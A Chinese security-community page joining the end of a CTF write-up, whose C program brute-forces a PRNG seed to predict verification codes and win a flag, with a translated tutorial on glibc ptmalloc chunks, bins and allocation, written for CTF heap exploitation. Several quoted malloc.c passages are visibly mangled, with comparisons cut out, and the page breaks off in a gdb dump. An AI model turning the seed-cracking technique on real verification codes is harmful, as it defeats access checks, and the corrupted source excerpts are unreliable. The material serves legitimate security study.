(“▔□▔)/(“▔□▔)/，只好祭出暴力破解大法来爆破seed，使之满足计算出的第一个期望值与第二个期望值，注意这里爆破的seed范围为2的32次方，用python会非常慢，用C爆破效率高出许多：
#include <stdio.h>
unsigned long long state = 0;
unsigned long long expected_code1 = 12350614;
unsigned long long expected_code2 = 37524982;
void setup(unsigned int seed){
state = 0;
unsigned long long cur = 0ll;
for(unsigned i=0;i<16;i++){
cur = seed & 3;
seed >>= 2;
state = (state << 4)|((state & 3ll) ^ cur);
state |= cur << 2;
}
}
unsigned long long next(unsigned int bits){
unsigned long long ret = 0l;
for(unsigned int i=0;i<26;i++){
ret <<= 1;
ret |= (state & 1ll);
state = (state << 1) ^ (state >> 61);
state &= 0xFFFFFFFFFFFFFFFFll;
state ^= 0xFFFFFFFFFFFFFFFFll;
for(unsigned int j=0;j<64;j+=4){
unsigned long long cur = 0ll;
cur = (state >> j) & 0xFll;
cur = (cur >> 3) | ((cur >> 2)&2ll) | ((cur<<3)&8ll) | ((cur<<2)&4ll);
state ^= (cur << j);
}
}
return ret;
}
int main(int argc,char *argv[]){
unsigned int seed = 1;
while(seed){
if(next(26) == expected_code1){
printf("first check passed,and seed is:%ldn",seed);
if(next(26) == expected_code2){
printf("second check passed,and seed is:%ldn",seed);
printf("and next expected_code is ：%ldn",next(26));
break;
}
}
seed++;
}
printf("end");
while(getchar()!='+'){}
}
将第一个与第二个期望值代入上面的代码，爆破之，得到第三个期望值，回到主页面输入，验证通过，得到第二个flag：
打完收工！ | 社区文章 |
# 原文链接
# <https://dangokyo.me/2017/12/05/introduction-on-ptmalloc-part1/>
# ptmalloc介绍
`ptmalloc`是在libc里用的内存分配及，我打算分两个部分细致的阐述一下`ptmalloc`的相关内容，这篇文章是第一部分。在这篇文章里，我会介绍`ptmalloc`里使用到的数据结构，并且展示在`ptmalloc`里分配过程的工作流程。在第二部分，我会展示释放过程和重分配过程，另外，我还会列出在`ptmalloc`当中用到的安全检查，这里我使用`libc-2.25`的代码来做解释。
## Ptmalloc Chunk 块
在`ptmalloc`中最基本的分配单位是`malloc_chunk`，包括6个元数据域。如下所示，每一个元数据在`x86`平台下为4字节长，在`x64`平台下为8字节长。在这篇文章接下来的部分，我们只考虑`x86`平台下的情况。
#ifndef INTERNAL_SIZE_T
# define INTERNAL_SIZE_T size_t
#endif
#define SIZE_SZ (sizeof (INTERNAL_SIZE_T))
struct malloc_chunk;
typedef struct malloc_chunk* mchunkptr;
struct malloc_chunk {
INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk (if free). 前一块为释放状态时的大小 */
INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. 大小，以字节为单位，包括额外内容 */
struct malloc_chunk* fd; /* double links -- used only if free. 双链表，只在为释放状态是使用 */
struct malloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */
/* 只在large块时使用：指向下一个更大大小的指针 */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};
为了避免混淆，我们首先需要强调一下`chunk`（块）的概念。在`ptmalloc`里，一个块指的是通过内存管理分配器分配的一段内存区域，用来储存元数据和应用数据。
在`ptmalloc`里，一共有三种基本类型的块：
* 已分配块(allocated chunk)
* 释放块(freed chunk)
* top块(top chunk)
在介绍这三种块之前，我们首先来看一下块的操作，通过这些操作，我们可以观察到在`mchunk_size`中的最后三位分别用来表示了chunk的状态：
* A: 当chunk由非main arena获取时被设置为1
* M: 当chunk由mmap获取时设置为1
* P: 当前一个邻接的chunk被使用时设置为1
在CTF的堆利用题目中我们大多数时候只需要关注`P`位(0x1)，这里P在前一个邻接块被使用时为1，而前一个邻接块被释放时为0。前一个邻接块在这里主要指在当前块位置前面的块，这个概念与
**前块** (forward chunk)不同，前块的相关内容将会在后面块管理部分讨论。
/* conversion from malloc headers to user pointers, and back */
#define chunk2mem(p) ((void*)((char*)(p) + 2*SIZE_SZ))
#define mem2chunk(mem) ((mchunkptr)((char*)(mem) - 2*SIZE_SZ))
/* size field is or'ed with PREV_INUSE when previous adjacent chunk in use */
#define PREV_INUSE 0x1
/* extract inuse bit of previous chunk */
#define prev_inuse(p) ((p)->mchunk_size & PREV_INUSE)
/* size field is or'ed with IS_MMAPPED if the chunk was obtained with mmap() */
#define IS_MMAPPED 0x2
/* check for mmap()'ed chunk */
#define chunk_is_mmapped(p) ((p)->mchunk_size & IS_MMAPPED)
/* size field is or'ed with NON_MAIN_ARENA if the chunk was obtained
from a non-main arena. This is only set immediately before handing
the chunk to the user, if necessary. */
#define NON_MAIN_ARENA 0x4
/* Check for chunk from main arena. */
#define chunk_main_arena(p) (((p)->mchunk_size & NON_MAIN_ARENA) == 0)
/* Mark a chunk as not being on the main arena. */
#define set_non_main_arena(p) ((p)->mchunk_size |= NON_MAIN_ARENA)
#define SIZE_BITS (PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
/* Get size, ignoring use bits */
#define chunksize(p) (chunksize_nomask (p) & ~(SIZE_BITS))
/* Like chunksize, but do not mask SIZE_BITS. */
#define chunksize_nomask(p) ((p)->mchunk_size)
/* Ptr to next physical malloc_chunk. */
#define next_chunk(p) ((mchunkptr) (((char *) (p)) + chunksize (p)))
/* Size of the chunk below P. Only valid if prev_inuse (P). */
#define prev_size(p) ((p)->mchunk_prev_size)
/* Set the size of the chunk below P. Only valid if prev_inuse (P). */
#define set_prev_size(p, sz) ((p)->mchunk_prev_size = (sz))
/* Ptr to previous physical malloc_chunk. Only valid if prev_inuse (P). */
#define prev_chunk(p) ((mchunkptr) (((char *) (p)) - prev_size (p)))
/* Treat space at ptr + offset as a chunk */
#define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s)))
/* extract p's inuse bit */
#define inuse(p) \
((((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size) & PREV_INUSE)
/* set/clear chunk as being inuse without otherwise disturbing */
#define set_inuse(p) \
((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size |= PREV_INUSE
#define clear_inuse(p) \
((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size &= ~(PREV_INUSE)
/* check/set/clear inuse bits in known places */
#define inuse_bit_at_offset(p, s) \
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size & PREV_INUSE)
#define set_inuse_bit_at_offset(p, s) \
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size |= PREV_INUSE)
#define clear_inuse_bit_at_offset(p, s) \
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE))
/* Set size at head, without disturbing its use bit */
#define set_head_size(p, s) ((p)->mchunk_size = (((p)->mchunk_size & SIZE_BITS) | (s)))
/* Set size/use field */
#define set_head(p, s) ((p)->mchunk_size = (s))
/* Set size at footer (only when chunk is not in use) */
#define set_foot(p, s) (((mchunkptr) ((char *) (p) + (s)))->mchunk_prev_size = (s))
### 已分配块
对于一个已分配块，其size域中上一个块（previous
chunk）将在其邻接前块是被释放的状态，而且`P`位为设置时会被设置。在下一个邻接块中，`P`位将会被设置。需要注意的一点是如果当前的块为已分配块时，`mchunk_prev_size`域将会被用于存储应用数据，这个特性总是被用到CTF中，与`off-by-one`漏洞结合。
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of previous chunk |<= chunk
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of chunk, in bytes |A|M|P|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| User data starts here... .<= mem
. .
. (malloc_usable_size() bytes) .
. |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| (size of chunk, but used for application data) |<= next chunk
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of next chunk, in bytes |A|0|1|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
### 释放块
对于一个释放块来说，上一块的大小（previous chunk
size)在上一邻接块被释放了，且`P`位为设置时会被设置。对于下一个邻接块，`P`位将会被清零，`mchunk_prev_size`将会被设置为当前块的大小。前块指针(forward)和后块指针(back)将会根据释放策略进行设置，释放策略由当前块大小决定，将会在后面部分进行讨论。
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of previous chunk |<= chunk
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of chunk, in bytes |A|0|P|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Forward pointer to next chunk in list |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Back pointer to previous chunk in list |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Unused space (may be 0 bytes long) .
. .
. |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of chunk, in bytes |<= next chunk
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of next chunk, in bytes |A|0|0|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
### top块
在top块里，块大小表示`main arena`当前还有多少剩余大小。如果新的大小比当前大小要大，则`brk()`或`mmap()`将会被调用来扩大top块
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of previous chunk |<= top chunk
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of chunk, in bytes |A|0|P|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+ +
| |
+ +
. .
. |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
## 块管理
在理解了`ptmalloc`中的`malloc`块之后，我们就来到理解块是如何由内存分配器管理的部分了。在`ptmalloc`中，一共有四种类型的`bin`，用来存储不同类型的释放块：
**Fastbin** , **Unsorted bin** , **Small bin** , **Large bin**
。结构体`malloc_state`用来存储`top chunk`指针，`last remainder`，`fastbins`和`bins`，如下所示：
struct malloc_state
{
/* Serialize access. */
__libc_lock_define (, mutex);
/* Flags (formerly in max_fast). */
int flags;
/* Fastbins */
mfastbinptr fastbinsY[NFASTBINS];
/* Base of the topmost chunk -- not otherwise kept in a bin */
mchunkptr top;
/* The remainder from the most recent split of a small request */
mchunkptr last_remainder;
/* Normal bins packed as described above */
mchunkptr bins[NBINS * 2 - 2];
/* Bitmap of bins */
unsigned int binmap[BINMAPSIZE];
/* Linked list */
struct malloc_state *next;
/* Linked list for free arenas. Access to this field is serialized
by free_list_lock in arena.c. */
struct malloc_state *next_free;
/* Number of threads attached to this arena. 0 if the arena is on
the free list. Access to this field is serialized by
free_list_lock in arena.c. */
INTERNAL_SIZE_T attached_threads;
/* Memory allocated from the system in this arena. */
INTERNAL_SIZE_T system_mem;
INTERNAL_SIZE_T max_system_mem;
};
为了直观的展示一下`malloc_state`的情况，我们把`malloc_state`的内存列出如下。`0x804b0a8`是`top
chunk`指针，`fastbinsY`位于`0xf7fac788`，长度为10，Unsorted bin，small bin和large
bin都位于`bins`中，从`0xf7fac7b0`开始。
0xf7fac780: 0x00000000 0x00000001 0x00000000 0x00000000
0xf7fac790: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7fac7a0: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7fac7b0: 0x0804b0a8 0x00000000 0xf7fac7b0 0xf7fac7b0
0xf7fac7c0: 0xf7fac7b8 0xf7fac7b8 0xf7fac7c0 0xf7fac7c0
0xf7fac7d0: 0xf7fac7c8 0xf7fac7c8 0xf7fac7d0 0xf7fac7d0
0xf7fac7e0: 0xf7fac7d8 0xf7fac7d8 0xf7fac7e0 0xf7fac7e0
0xf7fac7f0: 0xf7fac7e8 0xf7fac7e8 0xf7fac7f0 0xf7fac7f0
0xf7fac800: 0xf7fac7f8 0xf7fac7f8 0xf7fac800 0xf7fac800
0xf7fac810: 0xf7fac808 0xf7fac808 0xf7fac810 0xf7fac810
## ptmalloc 分配
这一章将会分配两个部分，第一个部分会基于`libc`的源码讨论`ptmalloc`当中的分配策略，比较无聊枯燥，第二部分会对第一部分的讨论的细节进行一个归纳。不感兴趣的读者可以直接跳到第二部分阅读结论。
### malloc内部
根据`malloc.c`的源代码，以及如下给出的malloc工作流，我会对每一个部分相应的代码在源代码等级进行展示。
#### `malloc_init_state`函数
#define NBINS 128
#define NSMALLBINS 64
#define SMALLBIN_WIDTH MALLOC_ALIGNMENT
#define SMALLBIN_CORRECTION (MALLOC_ALIGNMENT > 2 * SIZE_SZ)
#define MIN_LARGE_SIZE ((NSMALLBINS - SMALLBIN_CORRECTION) * SMALLBIN_WIDTH)
#define in_smallbin_range(sz) \
((unsigned long) (sz) < (unsigned long) MIN_LARGE_SIZE)
#ifndef DEFAULT_MXFAST
#define DEFAULT_MXFAST (64 * SIZE_SZ / 4)
#endif
#define set_max_fast(s) \
global_max_fast = (((s) == 0) \
? SMALLBIN_WIDTH : ((s + SIZE_SZ) & ~MALLOC_ALIGN_MASK))
#define get_max_fast() global_max_fast
malloc_init_state (mstate av)
{
int i;
mbinptr bin;
/* Establish circular links for normal bins */
for (i = 1; i < NBINS; ++i)
{
bin = bin_at (av, i);
bin->fd = bin->bk = bin;
}
#if MORECORE_CONTIGUOUS
if (av != &main_arena)
#endif
set_noncontiguous (av);
if (av == &main_arena)
set_max_fast (DEFAULT_MXFAST);
atomic_store_relaxed (&av->have_fastchunks, false);
av->top = initial_top (av);
}
（原文该部分代码错误，已修正）
首先，`malloc_init_state`被调用来初始化`malloc_state`。在这个过程当中，每一个在`bins`中的元素的`fd`和`bk`指针将会被设置为他自己的指针，然后`global_max_fast`将会被设置为0x40.
#### `malloc_consolidate`函数
`malloc_consolidate`将会尽量去合并`fastbins`中的块，并且把他们放到`unsorted
bin`中去，在从`fastbin`获取到一个释放块后，合并序列如下：
1. 检查是否上一个邻接块为使用状态：如果不为使用状态，则将当前块合并到上一个邻接块
2. 检查是否邻接的下一个块为top chunk：如果是，则把当前块设置为`top chunk`，并且修改`chunk_size`，如果不是，则进入下一步
3. 检查是否邻接的下一块为使用状态：如果是，则直接把当前块放入`unsorted bin`，并且清除下一个块的`P`位。如果不是，则把下一块合并到当前块中，将当前块放入`unsorted bin`，清除当前下一邻接块的`P`位.
/*
------------------------- malloc_consolidate -------------------------
malloc_consolidate is a specialized version of free() that tears
down chunks held in fastbins. Free itself cannot be used for this
purpose since, among other things, it might place chunks back onto
fastbins. So, instead, we need to use a minor variant of the same
code.
Also, because this routine needs to be called the first time through
malloc anyway, it turns out to be the perfect place to trigger
initialization code.
*/
static void malloc_consolidate(mstate av)
{
mfastbinptr* fb; /* current fastbin being consolidated */
mfastbinptr* maxfb; /* last fastbin (for loop control) */
mchunkptr p; /* current chunk being consolidated */
mchunkptr nextp; /* next chunk to consolidate */
mchunkptr unsorted_bin; /* bin header */
mchunkptr first_unsorted; /* chunk to link to */
/* These have same use as in free() */
mchunkptr nextchunk;
INTERNAL_SIZE_T size;
INTERNAL_SIZE_T nextsize;
INTERNAL_SIZE_T prevsize;
int nextinuse;
mchunkptr bck;
mchunkptr fwd;
/*
If max_fast is 0, we know that av hasn't
yet been initialized, in which case do so below
*/
if (get_max_fast () != 0) {
clear_fastchunks(av);
unsorted_bin = unsorted_chunks(av);
/*
Remove each chunk from fast bin and consolidate it, placing it
then in unsorted bin. Among other reasons for doing this,
placing in unsorted bin avoids needing to calculate actual bins
until malloc is sure that chunks aren't immediately going to be
reused anyway.
*/
maxfb = &fastbin (av, NFASTBINS - 1);
fb = &fastbin (av, 0);
do {
p = atomic_exchange_acq (fb, NULL);
if (p != 0) {
do {
check_inuse_chunk(av, p);
nextp = p->fd;
/* Slightly streamlined version of consolidation code in free() */
size = chunksize (p);
nextchunk = chunk_at_offset(p, size);
nextsize = chunksize(nextchunk);
if (!prev_inuse(p)) {
prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}
if (nextchunk != av->top) {
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
if (!nextinuse) {
size += nextsize;
unlink(av, nextchunk, bck, fwd);
} else
clear_inuse_bit_at_offset(nextchunk, 0);
first_unsorted = unsorted_bin->fd;
unsorted_bin->fd = p;
first_unsorted->bk = p;
if (!in_smallbin_range (size)) {
p->fd_nextsize = NULL;
p->bk_nextsize = NULL;
}
set_head(p, size | PREV_INUSE);
p->bk = unsorted_bin;
p->fd = first_unsorted;
set_foot(p, size);
}
else {
size += nextsize;
set_head(p, size | PREV_INUSE);
av->top = p;
}
} while ( (p = nextp) != 0);
}
} while (fb++ != maxfb);
}
else {
malloc_init_state(av);
check_malloc_state(av);
}
}
#### `__int_malloc`函数
`__libc_malloc`是从`bins`或者从`main
arena`里返回应用请求的块的函数，现在我们来讨论一下`__int_malloc`，也就是`libc`中`malloc`的内部实现
checked_request2size (bytes, nb);
分配器首先将需要的大小转换为了实际分配块的大小，然后尝试按照以下顺序去获取需要的块：`fast bin`, `unsorted bin`, `small
bin`, `large bin`和`top chunk`。我们在这里一个一个讨论。
##### fastbin
/*
If the size qualifies as a fastbin, first check corresponding bin.
This code is safe to execute even if av is not yet initialized, so we
can try it without checking, which saves some time on this fast path.
*/
if ((unsigned long) (nb) fd, victim))!= victim);
if (victim != 0)
{
if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
{
errstr = "malloc(): memory corruption (fast)";
errout:
malloc_printerr (check_action, errstr, chunk2mem (victim), av);
return NULL;
}
check_remalloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}
如果大小比`global_max_fast`小，或等于，分配器会尝试去搜索`fastbin`来找适合的块，`fastbin`的index由块大小决定。
##### small bin
/*
If a small request, check regular bin. Since these "smallbins"
hold one size each, no searching within bins is necessary.
(For a large request, we need to wait until unsorted chunks are
processed to find best fit. But for small ones, fits are exact
anyway, so we can check now, which is faster.)
*/
if (in_smallbin_range (nb))
{
idx = smallbin_index (nb);
bin = bin_at (av, idx);
if ((victim = last (bin)) != bin)
{
if (victim == 0) /* initialization check */
malloc_consolidate (av);
else
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim))
{
errstr = "malloc(): smallbin double linked list corrupted";
goto errout;
}
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;
if (av != &main_arena)
set_non_main_arena (victim);
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}
}
small bin的index由块大小决定，在被认为应当使用small bin时，分配器会尝试在small bin中移除掉第一个释放块。
##### unsorted bin
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
{
bck = victim->bk;
if (__builtin_expect (chunksize_nomask (victim) av->system_mem, 0))
malloc_printerr (check_action, "malloc(): memory corruption",
chunk2mem (victim), av);
size = chunksize (victim);
/*
If a small request, try to use last remainder if it is the
only chunk in unsorted bin. This helps promote locality for
runs of consecutive small requests. This is the only
exception to best-fit, and applies only when there is
no exact fit for a small chunk.
*/
if (in_smallbin_range (nb) &&
bck == unsorted_chunks (av) &&
victim == av->last_remainder &&
(unsigned long) (size) > (unsigned long) (nb + MINSIZE))
{
/* split and reattach remainder */
remainder_size = size - nb;
remainder = chunk_at_offset (victim, nb);
unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder;
av->last_remainder = remainder;
remainder->bk = remainder->fd = unsorted_chunks (av);
if (!in_smallbin_range (remainder_size))
{
remainder->fd_nextsize = NULL;
remainder->bk_nextsize = NULL;
}
set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);
set_foot (remainder, remainder_size);
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
/* remove from unsorted list */
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
/* Take now instead of binning if exact fit */
if (size == nb)
{
set_inuse_bit_at_offset (victim, size);
if (av != &main_arena)
set_non_main_arena (victim);
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
/* place chunk in bin */
if (in_smallbin_range (size))
{
victim_index = smallbin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
}
else
{
victim_index = largebin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
/* maintain large bins in sorted order */
if (fwd != bck)
{
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop below */
assert (chunk_main_arena (bck->bk));
if ((unsigned long) (size)
bk))
{
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
else
{
assert (chunk_main_arena (fwd));
while ((unsigned long) size fd_nextsize;
assert (chunk_main_arena (fwd));
}
if ((unsigned long) size
== (unsigned long) chunksize_nomask (fwd))
/* Always insert in the second position. */
fwd = fwd->fd;
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
}
}
else
victim->fd_nextsize = victim->bk_nextsize = victim;
}
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
#define MAX_ITERS 10000
if (++iters >= MAX_ITERS)
break;
}
分配器会循环迭代`unsorted
bin`，如果第一个块满足一下几个条件，这个块将会被分成一个请求大小的块，和一个剩余块。剩余块将会重新被插入到`unsorted bin`当中。
1. 请求大小在small 范围内
2. 这是`unsorted bin`当中唯一的一块
3. 这个块同事也是`last remainder`块
4. 切开之后的剩余大小足够大
如果`unsorted`块的大小正好为请求大小，直接返回这个块，否则，`unsorted bin`上的迭代将会继续检查`unsorted`块的状态：
1. 如果`unsorted`块为small范围，该块会被插入到相应的`small bin`，之后在下一个`unsorted`块中重复以上过程
2. 否则，如果`unsorted`块是large范围，且相应的`large bin`为空(bck == fwd)，`unsorted`块将会被直接插入到相应的`large bin`中，之后在下一个块中重复以上过程
3. 否则，如果`unsorted`块是large范围，且相应的`large bin`为非空，该块将按照大小降序插入到`large bin`当中
在所有的`unsorted`块都无法正好被当做返回值范围的时候，例如没有`unsorted`块，或者`small`块来提供请求的块时，分配器将会继续到下一步。
##### Large bin
/*
If a large request, scan through the chunks of current bin in
sorted order to find smallest that fits. Use the skip list for this.
*/
if (!in_smallbin_range (nb))
{
bin = bin_at (av, idx);
/* skip scan if empty or largest chunk is too small */
if ((victim = first (bin)) != bin
&& (unsigned long) chunksize_nomask (victim)>= (unsigned long) (nb))
{
victim = victim->bk_nextsize;
while (((unsigned long) (size = chunksize (victim)) bk_nextsize;
/* Avoid removing the first entry for a size so that the skip
list does not have to be rerouted. */
if (victim != last (bin)
&& chunksize_nomask (victim)== chunksize_nomask (victim->fd))
victim = victim->fd;
remainder_size = size - nb;
unlink (av, victim, bck, fwd);
/* Exhaust */
if (remainder_size fd;
if (__glibc_unlikely (fwd->bk != bck))
{
errstr = "malloc(): corrupted unsorted chunks";
goto errout;
}
remainder->bk = bck;
remainder->fd = fwd;
bck->fd = remainder;
fwd->bk = remainder;
if (!in_smallbin_range (remainder_size))
{
remainder->fd_nextsize = NULL;
remainder->bk_nextsize = NULL;
}
set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);
set_foot (remainder, remainder_size);
}
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}
如果在`large bin`中没有`large`块或者第一个`large
bin`中`large`块的大小比请求大小要小，分配器会跳到下一步，否则分配器会尝试在当前`large bin`中找到一个块。
`large`块的搜索过程主要根据“最好适应”的原则，也就是找到最小的大小大于请求大小的块。在找到`large`块之后，将他从`large
bin`中移除，然后计算切分后的剩余大小，如果剩余大小比`MIN_SIZE`小，直接将整块作为返回值，否则将当前块气氛，并且把剩余块插入到`unsorted
bin`中。
##### top chunk 切分
use_top:
/*
If large enough, split off the chunk bordering the end of memory
(held in av->top). Note that this is in accord with the best-fit
search rule. In effect, av->top is treated as larger (and thus
less well fitting) than any other available chunk since it can
be extended to be as large as necessary (up to system
limitations).
We require that av->top always exists (i.e., has size >=
MINSIZE) after initialization, so if it would otherwise be
exhausted by current request, it is replenished. (The main
reason for ensuring it exists is that we may need MINSIZE space
to put in fenceposts in sysmalloc.)
*/
victim = av->top;
size = chunksize (victim);
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
{
remainder_size = size - nb;
remainder = chunk_at_offset (victim, nb);
av->top = remainder;
set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
如果top chunk足够大，并且以上所有过程都没办法返回一个合适的块，`top chunk`会被切分成请求大小，之后将剩余大小重置为`top
chunk`。
#### 总结
首先我们总结一下`malloc`里常用的宏：
| x86 | x86-64
---|---|---
SIZE_SZ | 4 | 8
MIN_CHUNK_SIZE | 16 | 32
MALLOC_ALIGNMENT | 8 | 16
MALLOC_ALIGN_MASK | 7 | 15
NBINS | 128 | 128
NFASTBINS | 10 | 10
NSMALLBINS | 64 | 64
SMALLBIN_WIDTH | 8 | 16
DEFAULT_MXFAST | 64 | 128
MAX_FAST_SIZE | 80 | 160
MIN_LARGE_SIZE | 512 | 1024
在以上对于`ptmalloc`内部原理的讨论之后，我们给出一个`ptmalloc`中不同类型的`bins`是和组织和管理的总结。我们也会给出一些示例来展示一下这些`bins`的内存布局。
##### fast bin
1. fast bin中的块由单链表管理
2. fast bin中的块大小小于0x40
3. 当前块下一邻接块的`P`位不会被清除
4. 在从`fastbin`中取出块时，分配器遵循先进后出原则
#include
#include
int main()
{
char *p1, *p2, *p3, *p4;
p1 = malloc(0x20);
p2 = malloc(0x20);
p3 = malloc(0x20);
p4 = malloc(0x20);
free(p1);
free(p2);
free(p3);
return 0;
}
/*
(gdb) x/20wx 0xf7fac780
0xf7fac780: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7fac790: 0x00000000 0x0804b050 0x00000000 0x00000000
0xf7fac7a0: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7fac7b0: 0x0804b0a0 0x00000000 0xf7fac7b0 0xf7fac7b0
0xf7fac7c0: 0xf7fac7b8 0xf7fac7b8 0xf7fac7c0 0xf7fac7c0
(gdb) x/12wx 0x0804b050
0x804b050: 0x00000000 0x00000029 0x0804b028 0x00000000
0x804b060: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b070: 0x00000000 0x00000000 0x00000000 0x00000029
(gdb) x/12wx 0x0804b028
0x804b028: 0x00000000 0x00000029 0x0804b000 0x00000000
0x804b038: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b048: 0x00000000 0x00000000 0x00000000 0x00000029
(gdb) x/12wx 0x0804b000
0x804b000: 0x00000000 0x00000029 0x00000000 0x00000000
0x804b010: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b020: 0x00000000 0x00000000 0x00000000 0x00000029
*/
当下一个`malloc(0x20)`被调用时，分配器将会返回`0x804b058`(`chunk2mem`后的结果)给应用使用。
##### unsorted bin
1. `unsorted bin`中的chunk由双链表维护
2. `unsorted bin`中的chunk大小必须大于`0x40`。
3. 在分配时，分配器会迭代`unsorted bin`中的`unsorted`块，在找到合适的块之后，将其从`unsorted`块中取出，并且处理这个块
#include
#include
int main()
{
char *p1, *p2, *p3, *p4;
p1 = malloc(0xa0);
p2 = malloc(0x30);
p3 = malloc(0x100);
p4 = malloc(0x30);
free(p1);
free(p3);
return 0;
}
/*
(gdb) x/20wx 0xf7fac780
0xf7fac780: 0x00000000 0x00000001 0x00000000 0x00000000
0xf7fac790: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7fac7a0: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7fac7b0: 0x0804b220 0x00000000 0x0804b0e0 0x0804b000
0xf7fac7c0: 0xf7fac7b8 0xf7fac7b8 0xf7fac7c0 0xf7fac7c0
(gdb) x/20wx 0x0804b0e0
0x804b0e0: 0x00000000 0x00000109 0x0804b000 0xf7fac7b0
0x804b0f0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b100: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b110: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b120: 0x00000000 0x00000000 0x00000000 0x00000000
(gdb) x/20wx 0x0804b000
